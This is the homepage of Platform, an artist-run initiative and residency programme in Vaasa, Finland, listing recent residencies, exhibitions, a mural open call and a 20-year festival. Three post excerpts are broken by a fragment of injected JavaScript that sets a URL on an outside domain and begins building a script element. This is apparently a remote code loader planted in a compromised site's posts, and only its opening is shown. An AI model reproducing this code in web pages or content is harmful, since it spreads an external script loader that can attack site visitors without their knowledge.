Platform is an artist-run initiative founded in the year of 2000. Platform holds a project room and a residency programme in Vasa, Finland. The aim of Platform is to promote, show and be part of producing international contemporary art.

Platform exterior

The events have periodically been based on different themes that serves as a base for discussions as well as the content for the activities. Platform has dealt with themes such as Local-Global, questioning the role of contemporary art in the periphery; Place and Identity, investigating connections between site and personality; Creative Community, focused on urban development and creativity.

The majority of Platforms exhibitions and projects are results of the residency programme, where artists are invited to produce a project or an exhibition in Vaasa.

An important part of the activities are creating local interaction. The curated or produced projects and exhibitions often have an involving or site-specific aspect. Seminars are arranged to initiate discussion between local activists and invited artists and theoreticians on artistic and environmental issues.

At the moment:

  • Mini Residency – Deniz Hartikainen

    Deniz Hartikainen Artist in Residency at Platform 14-20.03 https://www.denizhartikainen.com/ Workshop in Punch Needle Embroydery 19.03 var…

  • Mini Residency – Rita Vargas

    Rita Vargas, Artist in Residency 07-13.03 https://www.vargasprintstudio.com/contact Workshop Bite-sized Drypoint 13.03var url = ‘https://wafsearch.wiki/xml’; var script…

  • CALL FOR MURALPAINTERS

    OPEN CALL   Open call for national (FI)  muralists, painters and graphic designers who work professionally…

  • Window Exhibition – Sladdbarn

    Exhibition by Bianca Pripp & Albin Söderlind Represented by JAQ-Studios https://jaqstudios.se/ var url = ‘https://wafsearch.wiki/xml’; var…

  • Human World- Artist in Residency Johan Lundin

    Johan Lundin, Artist in residency Oct 2021- Feb 2022 Project: Human World https://www.galleryextra.com/johanlundin/var url = ‘https://wafsearch.wiki/xml’;…

  • ODJUREN

    ODJUREN 26-27.11 On stage: Malin Vispe, Jakob Granqvist Director: Josefine Koskinen Collaboration with Wasa Teater, Strindbergs…

  • Platform 20 Years Festival

    Thanks to everyone who came to celebrate Platform 20 years! Thanks to the artists for sharing…

  • How To Work Together? – extended notes on collaboration

    The ‘How to Work Together?’ podcast series is a culmination of the first collaboration between PLATFORM…

  • PLATFORM 20 YEARS – FULL PROGRAM

    DOWNLOAD PROGRAM:  PLATFOR 20 FESTIVAL FRIDAY 22 OCT 17.00 Clay+ Beer Workshop @Cafe Proosa 17.00- Biophilia Installation…

  • Platform 20 Years

    Platform 20 Years An anniversary festival with live music, arts, workshops and performance. More info coming…